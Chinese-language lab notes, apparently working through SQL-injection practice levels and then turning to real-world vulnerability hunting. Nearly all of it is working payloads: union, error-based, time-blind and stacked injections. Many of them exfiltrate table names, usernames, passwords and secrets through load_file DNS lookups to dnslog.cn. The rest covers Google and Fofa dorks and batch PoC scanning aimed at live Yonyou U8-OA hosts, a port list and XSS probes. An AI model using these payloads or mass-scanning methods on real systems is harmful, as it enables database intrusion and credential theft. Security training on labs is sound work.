到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
⑧ ‘) and 1 and (’
⑨ ‘||1||’
⑩ ‘#或‘–+
⑪ 1’) anandd (if(1=1, sleep(1), 1)) anandd('1
⑫
发现除了输入正确的id值有显示,其他输入都没有显示
怀疑存在时间盲注
输入3 and sleep(1)试下
延迟1秒
输入3 and if(1=1, sleep(1),0)试下
还是延迟1秒
输入3 and if(1=2, sleep(1),0)
没有延迟
证明存在时间盲注点
轮子就是3 and if(1,sleep(1), 0)
测试长度
3 and if(length(database())=8,sleep(1), 0)
说明长度是8
爆破字母
3 and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)
接下来我们直接使用堆叠注入,后面的内容略过
3 and if(length(database())=8,sleep(1), 0);
首先查看状态
show variables like ‘%general%’;
使用堆叠注入修改设置
3 and if(length(database())=8,sleep(1), 0);set global general_log = on;
修改成功
接下来我打算使用堆叠注入+外地注入获得更多信息
3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit2,1),‘.6bub0w.dnslog.cn\abc’));#
说明可以通过堆叠注入获取列名
只是外带注入一次只能获取一个值,也不能使用group_concat
3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.6bub0w.dnslog.cn\abc’));#
3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select username from users where id = 8),‘.6bub0w.dnslog.cn\abc’));select load_file(concat(‘\\’,(select password from users where id = 8),‘.6bub0w.dnslog.cn\abc’));#
虽然说堆叠语句只能一个个获取数据,但是我发现它可以这样用,再加一条语句,再加一条,那样也相当于可以获取多个数据了
发现没有都出来了,而且这个方法也省去了测试长度爆破的麻烦,一次性获取数据
因为创建用户名的入口被限制了,那只能老老实实找注入点了
发现注入点在主界面密码框
触发条件是单数单引号
通过报错我们开始构造轮子
报错说明id是 “id’ ‘,即有两层单引号
输入2’ and 1’ --+:near ‘’’ at line 1
输入2’and1–+:near ‘and1–+’’ at line 1
输入2’) and 1:near ‘) and 1’’ at line 1
两个引号怎么闭合不了呢
2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
终于出现了,那么轮子就是
2’ and 1 and ’
由此也可以得到一个经验,看引号判断需要几个and
2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
另外发现这里居然还可以用联合注入
2’ union select 1,2,3 and’
没有报错,居然进去了
改成 2’ union select 1,database(),2 and’
直接拿到数据库名了
2’ union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2 and’
2’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),2 and’
2’ union select 1,(select group_concat(username,‘:’, password) from users),2 and’
2’ union select 1,(select group_concat(username,‘:’, password) from users where id=4),2 and’
1’;select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and ';#
还是密码框存在报错注入,输入1’报
near ‘‘1’’)’ at line 1
猜测应该是’(‘‘id’’)‘,所以轮子应该类似
2’) and 1 and (’
2’) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and (’
2’) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and (’
2’) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and (’
2’) and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and (’
奇怪了,这里使用堆叠注入为啥拿不到数据呢
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’));
失败
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);set global general_log = on;#
失败
1’);select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and (';#
分析后发现原因可能是前面的报错注入影响了后面的堆叠注入了,因为把前面的报错注入去除就正常了,这也给了我一个教训,不能贪多
但是用联合注入加堆叠注入又可以,说明就是报错注入引起的
2’) union select 1,database(),2;select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’)) ;#
2’) union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.igqu2e.dnslog.cn\abc’)) ;#
记住外带注入里不要用group_concat,要用limit去指定取哪行
2’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database()),2;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.igqu2e.dnslog.cn\abc’)) ;#
2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select username from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#
2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select password from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#
这一关没有报错提示了,看来只能用盲注
仍然是密码框存在注入
2’;select load_file(concat(‘\\’,(select database()),‘.ny8562.dnslog.cn\abc’));
看来这个外带注入还是比较好用,特别是对盲注时,不用再爆破了
2’;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.ny8562.dnslog.cn\abc’));
一次性拿多条数据了
2’;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.ny8562.dnslog.cn\abc’)) ;
2’;select load_file(concat(‘\\’,(select username from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
2’;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
仍然是密码框注入,需要增加括号闭合
2’);select load_file(concat(‘\\’,(select database()),‘.xchvq5.dnslog.cn\abc’));
2’);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.xchvq5.dnslog.cn\abc’));
2’);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.xchvq5.dnslog.cn\abc’)) ;
2’);select load_file(concat(‘\\’,(select username from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;#
Please input parameter as SORT with numeric value
这关啥意思呢,输啥都看不到结果?
后来才知道需要将参数名设为sort,然后分别输入1,2,3结果都不同,输入4以外报错
1 and 1#
输出正常
1 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) #
1 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)#
1 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) #
1 and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e)#
这一关现在只要不输单引号发现都是这个界面,没有变化了,咋回事
看提示,error base single quote,指的是单引号报错,应该需要闭合
2’ and 1 and '没有错误
2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
这一关是盲注,只有正常与否两种状态
但是好奇怪,盲注的延迟时间怎么这么久呢
3 and if(1=1,sleep(1),0)#
3 and if(1=2,sleep(1), 1) and (1)#
有延迟,显示正确
3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’)))#
外带获取数据库名称,记住不要把外带注入放在if里面
3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’)))#
3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’)))#
3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’)))#
单引号出现盲注
3’ and if(1=2,sleep(1), 1) and (1) and '#
显示正常
3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’))) and '#
3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’))) and '#
3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’))) and '#
3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’))) and '#
加入引号发现有报错提示,直接使用报错注入
3 and if(1=1,1,0)
显示正常
3 and if(1=1,updatexml(1,concat(0x7e,(SELECT+database())),0x7e),0)
3 and if(1=1,updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) ,0)
3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e),0)
3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e),0)
另外发现这里还可以用堆叠注入
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.d4u0mk.dnslog.cn\abc’))
单引号报错注入
2’ and 1 and ’
2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
这一关只有输入1,2,3才有显示,其他一概不显示,
输入3 and if(1=1,sleep(1),0),有延迟,时间盲注
使用堆叠注入
3 and if(1=1,sleep(1),0);1;
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.j6fykz.dnslog.cn\abc’));
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.j6fykz.dnslog.cn\abc’));
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select password from users where id=4 ),‘.j6fykz.dnslog.cn\abc’));
这一关和上一关的区别是需要加单引号注入
3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));
3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database()%20 limit 3,1),‘.j6fykz.dnslog.cn\abc’));
3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.j6fykz.dnslog.cn\abc’));
3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select password from users where id=4 ),‘.j6fykz.dnslog.cn\abc’));
意思是它会给你10次试错机会,10次还是失败的话重置所有随机数据
首先url输入id
然后输入key,每次报错都会累加已尝试的次数
但是怎么看不到报错呢,是在url里注入吗,id里发现加单引号不显示,再加又有显示,说明存在盲注
那么轮子怎么构造呢,对,那就不用管下面那个输入框了,直接url注入就行了
1’ and if(1=1,sleep(1),0) and (1)–+
延迟1秒,说明正确
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.lx01qu.dnslog.cn\abc’)))–+
数据库名称是challanges
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.lx01qu.dnslog.cn\abc’)))–+
看来只有一个表
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.63lr5q.dnslog.cn\abc’)))–+
首先需要先获取表名和列名,然后带入才能获取数据
vamnq7byet
secret_VEKS
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_VEKS from vamnq7byet where id=1 ),‘.63lr5q.dnslog.cn\abc’)))–+
下面的输入框输入Sn04znQcZJNl6L0tADgOhcRS提示正确
英文表示:祝贺你成功了
这次可以试错14次,是难度减低了还是提高了
不管他,先看下怎么注入,发现除了数字其他都不显示,看来要盲注了
4 and if(1=1,sleep(1),0) and (1)#
出现延时,那轮子应该就是它了
4 and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.leccsl.dnslog.cn\abc’)))#
单独运行select有数据,但是为啥界面没结果呢
大概是语句哪里还是不对吧,重新构造轮子
嗯这里有显示才能用,之前的轮子没显示,难怪怎么都没反应,所以记住了,以后构造的轮子一定要显示结果才行
1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select database()),‘.f1xl21.dnslog.cn\abc’)))–+
1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.f1xl21.dnslog.cn\abc’)))–+
uhf25xqo3t
1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.f1xl21.dnslog.cn\abc’)))–+
secret_WUAZ
记住,sql语句里不要插入回车符
d7oT09Des0BDFr51bmmpn0Gv
输入这串数字成功过关
还是这种题,看来后面都是这种类型的,单引号盲注报错注入
4’) and (1) --+
正常输出,记住了,像这样才是对的
4’) and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+
4’) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.6oq86c.dnslog.cn\abc’))) --+
9q15lsxx4o
4’) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.6oq86c.dnslog.cn\abc’))) --+
secret_F62S
4’) and (select load_file(concat(‘\\’,(select secret_F62S from 9q15lsxx4o where id=1),‘.6oq86c.dnslog.cn\abc’))) --+
MRS84WI5bRz1wUEPRjwkOTNN
双引号注入,没什么好说的
4" and (1)–+
4" and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+
4" and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.6oq86c.dnslog.cn\abc’)))–+
kxkae71r4p
4" and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.6oq86c.dnslog.cn\abc’)))–+
secret_R3DQ
4" and (select load_file(concat(‘\\’,(select secret_R3DQ from kxkae71r4p where id=1),‘.6oq86c.dnslog.cn\abc’)))–+
qCPyRxfEqRmVzBQYyVQ5Y3h9
终于出现报错注入了
2’ and (1) --+
2’ and (updatexml(1,concat(0x7e,(SELECT+database())),0x7e)) --+
2’ and (updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)) --+
k9e8a7yl0f
2’ and (updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)) --+
secret_58RO
2’ and (updatexml(1, concat(0x7e,(select secret_58RO from k9e8a7yl0f where id = 1),0x7e), 0x7e)) --+
报错注入,不用加引号啥的
2 and 1 --+
2 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e)–+
2 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
qi7pnhikpv
2 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
secret_OLE6
2 and updatexml(1, concat(0x7e,(select secret_OLE6 from qi7pnhikpv where id = 1),0x7e), 0x7e) --+
2229WftWHjdVjMEaS6yr9O3a
双引号报错注入,但是需要括号闭合
3") and 1 --+
3") and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
3") and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
hofp86ahow
3") and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
secret_NAX1
3") and updatexml(1, concat(0x7e,(select secret_NAX1 from hofp86ahow where id = 1),0x7e), 0x7e) --+
0CxW5gDfT4RrJWkO371mJwmU
单引号报错注入,但是需要双括号闭合
3’)) and 1 --+
3’)) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
3’)) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
jy0p59437z
3’)) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
secret_AX65
3’)) and updatexml(1, concat(0x7e,(select secret_AX65 from jy0p59437z where id = 1),0x7e), 0x7e) --+
zJn62X2QZ1xqyyJLUdkCeqEu
单引号盲注
3’) and if(1=1,sleep(1),0) and (1) --+
延迟1秒,另外盲注不需要看显示,报错和联合注入才需要,只看延迟就行
3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+
3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.vsc4qg.dnslog.cn\abc’))) --+
06pq63s5ri
3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.vsc4qg.dnslog.cn\abc’))) --+
secret_KXH7
3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_KXH7 from 06pq63s5ri where id=1),‘.vsc4qg.dnslog.cn\abc’))) --+
eyhWTtqVrtmuDFdoYsQHfs6W
还是单引号盲注,估计还是需要判断闭合
3’ and if(1=1,sleep(1),0) and (1) --+
居然不用考虑闭合
3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+
3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.vsc4qg.dnslog.cn\abc’))) --+
62ru7lcvyu
3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.vsc4qg.dnslog.cn\abc’))) --+
secret_VS47
3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_VS47 from 62ru7lcvyu where id=1),‘.vsc4qg.dnslog.cn\abc’))) --+
TZPD8yDonwQ22CubAiL57IAB
除了输入正确的数字有显示,如果再输入其他符号或字母一概不显示
1 and(1)
1 and(select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’)))
1 and(select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.4kmw9o.dnslog.cn\abc’)))
Uonkinbilw
1 and(select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.4kmw9o.dnslog.cn\abc’)))
secret_ZGTB
1 and(select load_file(concat(‘\\’,(select secret_ZGTB from Uonkinbilw where id=1),‘.4kmw9o.dnslog.cn\abc’)))
终于到最后一关了,大结局,然后就可以去实战了
双引号盲注
1" and if(1=1, sleep(1),0) and(1) and "
有延迟,if(1=1, sleep(1),0)只是用于判断闭合,实际使用时去掉就行
1" and (1) and "
1" and (select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’))) and "
1" and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.4kmw9o.dnslog.cn\abc’))) and "
cbkyy6a08r
1" and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.4kmw9o.dnslog.cn\abc’))) and "
secret_RHAB
1" and (select load_file(concat(‘\\’,(select secret_RHAB from cbkyy6a08r where id=1),‘.4kmw9o.dnslog.cn\abc’))) and "
0r0KwIgn3d1KwEGu1FL3N596
挖掘注入点
谷歌语法:inurl:“?id=”
判断ID是否为数字,可直接在参数值后面加/1 /0,若为数字加/0将报错
若确认是数字,可继续构造poc,如1/if(1,1,0) 1/if(0,1,0)
若使用1/if(1=1,1,0) 或1/if(1 like 1,1,0) 出现永恒之白,可使用1/if(1.=1,1,0) 1/if(1.=2,1,0)等继续进行测试
还可使用1/if(1.=ascii(2) ,1,0) 1/if(1.=hex(2) ,1,0) 1/if(1.=hex(schema()) ,1,0)
如果单引号被过滤,可使用 ‘xxx’ like ‘xx%’
如果截取函数substr及mid被过滤,可考虑left,right 1/if(68.hex(left(schema(),1)),1,0)(68用爆破得出)
获得第一个字母之后可以继续获取后面的字母1/if(6864.like+hex(left(schema(),2)),1,0)
if若过滤可使用case when替代
sql注入判断是否有注入的方法
除了使用单引号双引号之外还可以使用,1/2 1/1 1/0判断是否有注入
通过1 and 1=1 --+与 1 and 1=2 --+观察是否有变化后使用盲注
首先选择要挖什么漏洞
比如用友 U8 OA SQL注入漏洞
至于想找什么漏洞信息可去漏洞库找找,如
https://wiki.bylibrary.cn/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/
信息收集阶段我们的主要目标是:
1、找到网上公开的漏洞POC
比如POC:
http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))
2、使用找出可能存在该漏洞的IP列表
比如可以用Fofa语句:title=“用友U8-OA”,
可以使用Github开源工具Fofa-collect批量导入列表验证
POC批量验证的脚本在PeiQi文库的POC基础上进一步改写,支持批量导入IP.txt,并导出存在漏洞的URL,保存为urls.txt。
接着使用批量IP反查域名,这时候我们只需要去访问域名,就可以知道这个IP对应的公司。于是我们就可以拿着这些信息去提交漏洞了!
再次强调渗透测试点到为止,提交漏洞只需要跑出数据库名证明漏洞存在,信息安全三要素CIA时刻铭记于心
在拿到新的POC时,仅需替换POC_1()函数,代码稍加改动,就可以实现另一个漏洞的批量挖掘。
http://duankou.wlphp.com/
文件共享服务端口
21,22,69,2049.139.389
远程连接服务端口
23,3389.5900,5632
Web应用服务端口
80.443.8080,8089,7001,7002,9090,4848,1352,10000
数据库服务端口
3306,1433,1521,5432,27017,27018,6379,5000
邮件服务端口
25,110,143
网络常见协议端口
53,67,68,161
特殊服务端口
2128,8068,9200,9300,11211,512,513,514,873,3690,50000
21,22,69,2049.139.389,23,3389.5900,5632,80.443.8080,8089,7001,7002,9090,4848,1352,10000,3306,1433,1521,5432,27017,27018,6379,5000,25,110,143,53,67,68,161,2128,8068,9200,9300,11211,512,513,514,873,3690,50000
<script>console%2elog(299792458)%3c<%2fscript>
">
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT>
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT>
<img src%3d"1" onerror%3d"console.log(299792458)">
<img src%3d'1' onerror%3d'console.log(299792458)'
<IMG """>